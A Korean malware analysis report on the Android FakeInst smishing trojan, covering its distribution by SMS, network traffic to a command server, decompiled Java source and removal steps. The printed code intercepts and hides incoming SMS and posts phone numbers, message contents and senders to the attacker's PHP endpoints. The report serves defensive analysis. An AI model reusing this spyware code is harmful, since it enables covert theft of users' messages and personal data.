Table of Contents 1. 분석 정보 i. 분석 대상 ii. 분석 환경 2. 동적 분석 3. 정적 분석 4. 결론 5. 치료 방법 Android-Trojan/FakeInst 악성코드 분석 보고서 Page 2 / 13

Similar documents
rosaec_workshop_talk

rmi_박준용_final.PDF

JMF3_심빈구.PDF

Microsoft PowerPoint - 04-UDP Programming.ppt

비긴쿡-자바 00앞부속

PowerPoint 프레젠테이션

02 C h a p t e r Java

Secure Programming Lecture1 : Introduction

PowerPoint 프레젠테이션

K&R2 Reference Manual 번역본

fundamentalOfCommandPattern_calmglow_pattern_jstorm_1.0_f…

신림프로그래머_클린코드.key

07 자바의 다양한 클래스.key

어댑터뷰

목차 INDEX JSON? - JSON 개요 - JSONObject - JSONArray 서울시공공데이터 API 살펴보기 - 요청인자살펴보기 - Result Code - 출력값 HttpClient - HttpHelper 클래스작성 - JSONParser 클래스작성 공공

03장

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

11 템플릿적용 - Java Program Performance Tuning (김명호기술이사)

인천광역시의회 의원 상해 등 보상금 지급에 관한 조례 일부개정조례안 의안 번호 179 제안연월일 : 제 안 자 :조례정비특별위원회위원장 제안이유 공무상재해인정기준 (총무처훈령 제153호)이 공무원연금법 시행규칙 (행정자치부령 제89호)으로 흡수 전면 개

MasoJava4_Dongbin.PDF

PowerPoint 프레젠테이션

Android Master Key Vulnerability

13ÀåÃß°¡ºÐ

종사연구자료-이야기방 hwp

Spring Boot/JDBC JdbcTemplate/CRUD 예제

JMF2_심빈구.PDF

목 차 국회 1 월 중 제 개정 법령 대통령령 7 건 ( 제정 -, 개정 7, 폐지 -) 1. 댐건설 및 주변지역지원 등에 관한 법률 시행령 일부개정 1 2. 지방공무원 수당 등에 관한 규정 일부개정 1 3. 경력단절여성등의 경제활동 촉진법 시행령 일부개정 2 4. 대

( )부록

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

자바-11장N'1-502

제11장 프로세스와 쓰레드

Microsoft PowerPoint - Supplement-03-TCP Programming.ppt [호환 모드]

ilist.add(new Integer(1))과 같이 사용하지 않고 ilist.add(1)과 같이 사용한 것은 자바 5.0에 추가된 기본 자료형과 해당 객체 자료 형과의 오토박싱/언박싱 기능을 사용한 것으로 오토박싱이란 자바 컴파일러가 객체를 요구하는 곳에 기본 자료형

05.PDF

호랑이 턱걸이 바위

Design Issues

ThisJava ..

쉽게 풀어쓴 C 프로그래밊

정 관

<C1D6BFE4BDC7C7D0C0DA5FC6EDC1FDBFCF28B4DCB5B5292E687770>

시편강설-경건회(2011년)-68편.hwp

untitled

¹æ¼Û±â¼ú-pdf-Äõ¼öÁ¤

KBS-¹æ¼Û±â¼ú¿¬±¸-1Àå-º°

2 Application Name: Day10_yhg <LinearLayout android:layout_weight="3" > /> an

슬라이드 1

mytalk

Mobile Service > IAP > Android SDK [ ] IAP SDK TOAST SDK. IAP SDK. Android Studio IDE Android SDK Version (API Level 10). Name Reference V

Spring Data JPA Many To Many 양방향 관계 예제

Chap12

예제 2) Test.java class A intvar= 10; void method() class B extends A intvar= 20; 1"); void method() 2"); void method1() public class Test 3"); args) A

Microsoft PowerPoint - 03-TCP Programming.ppt

FileMaker ODBC and JDBC Guide

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

@OneToOne(cascade = = "addr_id") private Addr addr; public Emp(String ename, Addr addr) { this.ename = ename; this.a

PowerPoint Presentation

제8장 자바 GUI 프로그래밍 II

歯JavaExceptionHandling.PDF

슬라이드 1

5장.key

기사스크랩 (160504).hwp

09-interface.key

??

PowerPoint 프레젠테이션

산림병해충 방제규정 4. 신문 방송의 보도내용 등 제6 조( 조사지역) 제5 조에 따른 발생조사는 다음 각 호의 지역으로 구분하여 조사한다. 1. 특정지역 : 명승지 유적지 관광지 공원 유원지 및 고속국도 일반국도 철로변 등 경관보호구역 2. 주요지역 : 병해충별 선단

FileMaker ODBC and JDBC Guide


김기중 - 방송통신심의위원회 인터넷 내용심의의 위헌 여부.hwp

게시판 스팸 실시간 차단 시스템

Microsoft PowerPoint - CSharp-10-예외처리

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

歯MW-1000AP_Manual_Kor_HJS.PDF


2힉년미술

<4D F736F F F696E74202D20C1A63235C0E520B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D628B0ADC0C729205BC8A3C8AF20B8F0B5E55D>

그 여자와 그 남자의 사랑 이야기

OpenCV와 함께하는 컴퓨터 비전 프로그래밍 캠프

Microsoft PowerPoint - 2강

(Microsoft PowerPoint - java1-lecture11.ppt [\310\243\310\257 \270\360\265\345])

쉽게 풀어쓴 C 프로그래밍

KAA2005.9/10 Ãâ·Â

01-OOPConcepts(2).PDF

12-file.key

래를 북한에서 영화의 주제곡으로 사용했다든지, 남한의 반체제세력이 애창한다 든지 등등 여타의 이유를 들어 그 가요의 기념곡 지정을 반대한다는 것은 더 이상 용인될 수 없는 반민주적인 행동이 될 것이다. 동시에 그 노래가 두 가지 필요조 건을 충족시키지 못함에도 불구하고

Network Programming

자바로

1부

> 1. 법 제34조제1항제3호에 따른 노인전문병원 2. 국민건강보험법 제40조제1항의 규정에 의한 요양기관(약국을 제외한다) 3. 삭제< > 4. 의료급여법 제2조제2호의 규정에 의한 의료급여기관 제9조 (건강진단) 영 제20조제1항의 규

노인복지법 시행규칙

gnu-lee-oop-kor-lec06-3-chap7

Spring Boot

<4D F736F F F696E74202D20C1A63234C0E520C0D4C3E2B7C228B0ADC0C729205BC8A3C8AF20B8F0B5E55D>

OOP 소개

04장

목 차 I. 교육 계획의 기저 1 1. 경북 교육 지표 1 2. 구미 교육의 지표 2 3. 경북 및 구미 유치원 교육의 방향 3 4. 유치원 현황 4 II. 본원 교육 목표 7 1. 본원의 교육 목표 및 운영 중점 7 2. 중점 교육활동 추진 계획 8 III. 교육과정

PowerPoint Presentation

q 이장에서다룰내용 1 객체지향프로그래밍의이해 2 객체지향언어 : 자바 2

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

* Factory class for query and DML clause creation * tiwe * */ public class JPAQueryFactory implements JPQLQueryFactory private f

3ÆÄÆ®-11

Transcription:

Android-Trojan/FakeInst 악성코드 분석 보고서 Written by extr (white-hacker@nate.com, http://extr.kr) 2013. 03. 07 Android-Trojan/FakeInst 악성코드 분석 보고서 Page 1 / 13

Table of Contents 1. 분석 정보 i. 분석 대상 ii. 분석 환경 2. 동적 분석 3. 정적 분석 4. 결론 5. 치료 방법 Android-Trojan/FakeInst 악성코드 분석 보고서 Page 2 / 13

1. 분석 정보 i. 분석 대상 [Figure 1.1.1 042.apk] 이번에 분석해볼 대상은 안드로이드 기반의 악성 앱이다. 이는 안드로이드 기반 스마트 기기를 타겟으로 3월 7일경 퍼진 것으로 추정되며, SMS를 통해 보험금 미납 조회 관련 메시지와 함께 URL을 보내어 사용자의 접속을 유도한다 [Figure 1.1.2 실제 전송된 메세지] Android-Trojan/FakeInst 악성코드 분석 보고서 Page 3 / 13

[Figure 1.1.3 Virustotal 분석 결과] Android-Trojan/FakeInst 악성코드 분석 보고서 Page 4 / 13

파일 명 진단 명 파일 크기 MD5 SHA1 SHA256 install2.exe (Android Application) Android-Trojan/FakeInst (Ahnlab-V3) 79873 Bytes f6c722da229ade8bad92d78398eb3ffd c140da00d269f0570fa6d3ca978df00870825494 de6ef09313b8e54ef01a7a85a495d3e9e89a0070a23fe037ad2cbc7d17334964 ii. 분석 환경 악성 앱의 동적 분석을 위한 가상환경과, 정적 분석을 위하여 다음과 같은 프로그램들을 사용하 였다. 가상 환경 프로그램 가상 환경 운영체제 Java Decompiler 동적 분석 프로그램 VMware 9.0 / Android Virtual Device Linux Ubuntu 12.04 LTS JDGUI - Wireshark 2. 동적 분석 [Figure 2.1.1 다운로드 스트림] 우선 악성 어플리케이션의 동적 분석을 위해 직접 악성 URL에 접근하여 다운로드를 시도해보았 다. 기존의 Short URL 형식과는 달리 일반적인 도메인이라 사용자들이 의심하지 않고 접속할 수 있지만, 위와 같이 index.html에 Location.href를 통해 악성 앱을 다운로드 받을 수 있는 페이지로 리디렉션 시켜버리는 것을 볼 수 있다. Android-Trojan/FakeInst 악성코드 분석 보고서 Page 5 / 13

[Figure 2.1.2 sphone] 설치를 실행해보면 위와 같은 정보들을 수집한다는 것을 알 수 있다. 어떤 동작을 수행하는지는 정적 분석에서 알아보도록 하겠다. [Figure 2.1.3 실행 후 날아가는 패킷] 앱을 실행하면 별 다른 이벤트 없이 바로 꺼지는데, 동시에 67.198.149.116/BBB.php에 p= 핸드폰 번호 로컬 시각 을 전송하는 것을 볼 수 있었다. 이후 별 특별한 변화는 관찰할 수 없었다. 서버 분석을 위해 어떠한 서비스를 실행하고 있는지 알아보았다. 21 FTP 80 HTTP 135 MSRPC 139 NETBIOS-SSN 445 Microsoft-DS 1025 IIS 1434 MSSQL-m Android-Trojan/FakeInst 악성코드 분석 보고서 Page 6 / 13

3306 MYSQL 3389 MS-Term-Serv 4444 Krb524 5000 UPnP 8080 HTTP-Proxy 제일 눈에 들어오는 것은 80, 8080, 그리고 3389 포트이다. 80포트로 서비스를 하지만 프록시를 사용한다는 것을 알 수 있고, 여타 다른 악성 어플리케이션 들과 마찬가지로 원격 데스크탑을 사용해 원격 관리를 사용한다는 것을 알 수 있다. [Figure 2.1.4 GeoIP] GeoIP를 통해 위치를 확인해본 결과 미국 서버로 나왔지만, IIS 오류 메시지를 통해 실제 발원지 는 중국인 것으로 추측된다. 즉, 위에서 언급했던 8080 포트를 통해 프록시를 사용했다고 밖에 볼 수 없다. 이후, 문자 메시지를 통해 전달되는 http://www.popstar1.com과 http://67.198.149.116은 동일한 주소라는 것을 알아냈지만, BBB.php가 어떠한 역할을 하는지는 알 수 없었다. 이제 정적 분석을 통해 프로그램이 내부적으로 어떠한 역할을 하는지 알아보도록 하자. Android-Trojan/FakeInst 악성코드 분석 보고서 Page 7 / 13

3. 정적 분석 의외로 다른 악성 앱에 비해 적은 양의 클래스를 볼 수 있다. 쓰레기 코드를 중간중간에 넣지 않은 걸 봐선 아직 프로토 타입 악성코드라 핵심적인 기능이 없 는게 아닐까 하고 생각이 들긴 하지만 악의적으로 배포되고 있다는 사실은 동일하니 분석에 있어 서는 상관없지 싶다. public class MainActivity extends Activity public SimpleDateFormat a = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); protected void oncreate(bundle parambundle) super.oncreate(parambundle); setcontentview(2130903040); a.a = ((TelephonyManager)getSystemService("phone")).getLine1Number(); new Thread(new c(this, a.a + " " + this.a.format(new Date()), "/BBB.php")).start(); startservice(new Intent(this, SMSListenerService.class)); finish(); [Figure 3.1.1 MainActivity] MainActivity 클래스이다. 여기서는 TelephonyManager와 getline1number를 통해 감염된 디바이 스의 전화번호를 가져와 변수에 저장시킨다는 것을 알 수 있다. 이후, c 클래스에게 전화 번호, 시 스템 시각과 /BBB.php 를 인자로 하여 넘겨주며 곧 이어 SMSListenerService라는 서비스를 실행 시키는 것을 볼 수 있다. public class SMSListenerService extends Service public SimpleDateFormat a = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); private final BroadcastReceiver b = new b(this); public IBinder onbind(intent paramintent) return null; Android-Trojan/FakeInst 악성코드 분석 보고서 Page 8 / 13

public void oncreate() super.oncreate(); Log.i("SMSListener", "Service start!"); IntentFilter localintentfilter = new IntentFilter(); localintentfilter.addaction("android.provider.telephony.sms_received"); localintentfilter.setpriority(2147483647); registerreceiver(this.b, localintentfilter); public void ondestroy() unregisterreceiver(this.b); super.ondestroy(); [Figure 3.1.2 - SMSListenerService] 서비스 클래스에선 SMSListener라는 서비스에 대한 정보를 나타낸다. 이는 낮은 Priority로써 아무 SMS가 도착할 때까지 대기하다가 도착 시 Broadcast Receiver인 b에 게 메시지를 전달하는 역할을 한다. B의 역할은 다음과 같다. final class b extends BroadcastReceiver b(smslistenerservice paramsmslistenerservice) public final void onreceive(context paramcontext, Intent paramintent) Object localobject1 = ""; Object localobject2 = ""; Date localdate1 = new Date(); Object[] arrayofobject = (Object[])paramIntent.getExtras().get("pdus"); int i = arrayofobject.length; Object localobject3 = localdate1; int j = 0; while (true) Android-Trojan/FakeInst 악성코드 분석 보고서 Page 9 / 13

if (j >= i) new Thread(new c(paramcontext, a.a + " " + (String)localObject2 + " " + (String)localObject1 + " " + this.a.a.format((date)localobject3), "/AAA.php")).start(); Log.i("zhou", localobject1 + " 发 来 短 信 "); abortbroadcast(); return; SmsMessage localsmsmessage = SmsMessage.createFromPdu((byte[])arrayOfObject[j]); String str1 = localsmsmessage.getoriginatingaddress(); String str2 = localobject2 + localsmsmessage.getmessagebody(); Date localdate2 = new Date(localSmsMessage.getTimestampMillis()); j++; localobject3 = localdate2; localobject2 = str2; localobject1 = str1; [Figure 3.1.3 b class] b에서는 getmessagebody() 함수를 통한 수신된 메시지, getoriginatingaddress()를 통한 발신자 번호, 기존의 string a에 저장되어 있던 수신자 번호, 타임스탬프로 현재 시각을 가져와 외부 서버 로 전송 할 인자를 만들어 내는 부분이다. 위의 형식대로라면 수신자 번호+ +메시지+ +발신자 번호+ +현재 시각 형식으로 목적지 서버의 /AAA.php에게 전송된다. public final class c implements Runnable String a; private String b; private Context c; public c(context paramcontext, String paramstring1, String paramstring2) this.b = paramstring1; this.c = paramcontext; Android-Trojan/FakeInst 악성코드 분석 보고서 Page 10 / 13

this.a = paramstring2; // Byte code: // 0: aconst_null //. // 208: goto -126 -> 82 private static String a(string paramstring, Map parammap) StringBuilder localstringbuilder = new StringBuilder(""); Iterator localiterator; if ((parammap!= null) && (!parammap.isempty())) localiterator = parammap.entryset().iterator(); while (true) if (!localiterator.hasnext()) localstringbuilder.deletecharat(-1 + localstringbuilder.length()); Log.i("zhou", paramstring + " " + localstringbuilder.tostring() + "shit"); byte[] arrayofbyte = localstringbuilder.tostring().getbytes(); HttpURLConnection localhttpurlconnection = (HttpURLConnection)new URL(paramString).openConnection(); localhttpurlconnection.setrequestmethod("post"); localhttpurlconnection.setconnecttimeout(1000); localhttpurlconnection.setdooutput(true); localhttpurlconnection.setrequestproperty("content-type", "application/x-www-formurlencoded"); localhttpurlconnection.setrequestproperty("content-length", String.valueOf(arrayOfByte.length)); OutputStream localoutputstream = localhttpurlconnection.getoutputstream(); localoutputstream.write(arrayofbyte); localoutputstream.flush(); localoutputstream.close(); if (localhttpurlconnection.getresponsecode()!= 200) Log.i("zhou", " 得 不 到 服 务 器 的 数 据 "); return null; Map.Entry localentry = (Map.Entry)localIterator.next(); Android-Trojan/FakeInst 악성코드 분석 보고서 Page 11 / 13

localstringbuilder.append((string)localentry.getkey()).append('=').append((string)localentry.getvalue ()).append('&'); public final void run() HashMap localhashmap = new HashMap(); localhashmap.put("p", this.b); String str = a("url.txt") + this.a; try a(str, localhashmap); return; catch (Exception localexception) Log.i("zhou", "rsp question"); [Figure 3.1.4 c class] 외부와의 통신을 위한 c class이다. 이전에 보았던 MainActivity.class, b.class에서 사용되는 외부와 의 통신도 이 클래스를 통해 이루어진다. 위 url.txt의 내용은 SMS를 통해 퍼진 URL과 동일한 도메인을 가진 http://67.198.149.116 를 가리 키고 있음을 알 수 있는데, 이렇게 url을 내부에 포함하지 않고 따로(/assets/url.txt) 관리하는 이유 는 서버를 수시로 바꾸기 위해 따로 빼 놓았을 것이라 추측된다. 이처럼 정보의 수정을 용이하게 하기 위해 리소스를 따로 관리하는 것은 url 뿐만 아니라 어플리 케이션의 아이콘도 마찬가지이다. Android-Trojan/FakeInst 악성코드 분석 보고서 Page 12 / 13

[Figure 3.1.5 res] 이전에 발생했던 스타벅스, 베스킨라빈스, 맥도날드, 롯데마트 등의 스미싱 앱도 위와 같이 리소 스를 따로 관리하여 악성코드를 쉽게 수정하여 퍼트릴 수 있게 되어있다. 4. 결론 해당 악성코드는 다음과 같은 역할을 수행한다. 1. 설치만 해도 핸드폰 번호 및 앱 실행 시각이 서버로 전송됨. 2. 이후 악성 서비스가 실행되며, 이 서비스가 실행되는 한 SMS가 전송될 시 수/ 발신자 전화번호, 메시지 내용, 수신 시각이 서버로 전송됨. 또한, 해당 악성코드는 현재(13년 03월 08일 오전 12시) 배포가 중지되었으며, 추후 리소스 수정 및 소스 수정 후 다른 경로를 통해 다시 배포될 것으로 예상된다. 5. 치료 방법 안전한 삭제를 위해 서비스 중지 후 프로그램을 삭제한다. Android-Trojan/FakeInst 악성코드 분석 보고서 Page 13 / 13